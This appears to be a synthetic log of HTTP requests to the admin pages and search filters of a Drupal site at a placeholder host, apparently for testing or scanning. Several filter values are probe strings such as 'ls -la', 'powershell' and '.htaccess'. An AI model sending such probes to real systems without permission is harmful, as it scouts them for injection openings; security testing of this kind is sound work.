{"method": "GET", "target": "/core/modules/ckeditor5/icons/undo.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/special-characters.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/underline.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/code-block.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/strikethrough.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/media/image-styles", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/development/performance", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people/create", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people/permissions", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people/roles", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/dblog", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/reports/dblog", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dwatchdog%3Alocation%3Dpage%26name%3Dwatchdog%26display_id%3Dpage%26langcode%3Den&tokens%5B%5D=grWQXBmsSApIJa_jk7wHiazbuliDJvCCmFVgCnqCxiM"}
{"method": "GET", "target": "/admin/reports/status", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/updates", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/help", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/modules/browse", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media-grid", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/media-grid", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmedia_library%3Alocation%3Dpage%26name%3Dmedia_library%26display_id%3Dpage%26langcode%3Den&tokens%5B%5D=j9Y8Hgn09m7XQjCW5BfTzqp2SoYZRr5vB6MwyUrqz1w"}
{"method": "GET", "target": "/admin/content?title=hello%20world&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=hello%20world&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=hello%20world&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=hello%20world&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=hello%20world&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=hello%20world&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=python3&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=python3&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=python3&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=python3&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=python3&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=python3&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=powershell&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=powershell&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=powershell&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=powershell&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=powershell&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=powershell&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=ls%20-la&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=ls%20-la&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=ls%20-la&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=ls%20-la&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=ls%20-la&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=ls%20-la&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=.htaccess&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=.htaccess&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=.htaccess&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=.htaccess&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=.htaccess&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
